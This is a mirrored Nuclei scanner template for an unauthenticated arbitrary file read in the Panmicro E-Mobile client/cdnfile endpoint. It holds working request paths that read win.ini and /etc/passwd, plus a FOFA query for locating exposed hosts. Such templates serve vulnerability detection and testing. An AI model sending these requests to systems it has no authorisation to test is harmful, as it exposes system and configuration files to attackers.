mirror of
https://github.com/projectdiscovery/nuclei-templates.git
synced 2026-02-10 20:53:27 +08:00
35 lines
1.3 KiB
YAML
35 lines
1.3 KiB
YAML
id: panmicro-arbitrary-file-read
|
|
|
|
info:
|
|
name: Panmicro E-Mobile System - Arbitrary File Read
|
|
author: s4e-io
|
|
severity: high
|
|
description: |
|
|
The Panmicro E-Mobile client/cdnfile interface has an arbitrary file reading vulnerability. Unauthenticated attackers can use this vulnerability to read important system files, database configuration files, and so on.
|
|
reference:
|
|
- http://cn-sec.com/archives/3182931.html
|
|
- https://cn-sec.com/archives/3188605.html
|
|
metadata:
|
|
verified: true
|
|
max-request: 2
|
|
vendor: panmicro
|
|
product: e-mobile-system
|
|
fofa-query: app="泛微-EMobile"
|
|
tags: panmicro,e-mobile,lfi
|
|
|
|
http:
|
|
- method: GET
|
|
path:
|
|
- "{{BaseURL}}/client/cdnfile/1C/Windows/win.ini?windows"
|
|
- "{{BaseURL}}/client/cdnfile/C/etc/passwd?linux"
|
|
|
|
stop-at-first-match: true
|
|
matchers:
|
|
- type: dsl
|
|
dsl:
|
|
- 'contains_all(body,"bit app support","fonts","extensions") || regex("root:.*:0:0:", body)'
|
|
- 'contains_any(header,"application/octet-stream", "text/plain")'
|
|
- 'contains(header," attachment; filename=")'
|
|
- 'status_code == 200'
|
|
condition: and
|
|
# digest: 490a0046304402203d773bf4f7ab61f056c1d560468eb5f8e4f0ec73a849f24cd7a709b4ca7f3917022070f1e1002b678f99aad87bcedc9af7dbfb5cbf62dc9b364460e54943824cb848:922c64590222798bb761d5b6d8e72950 |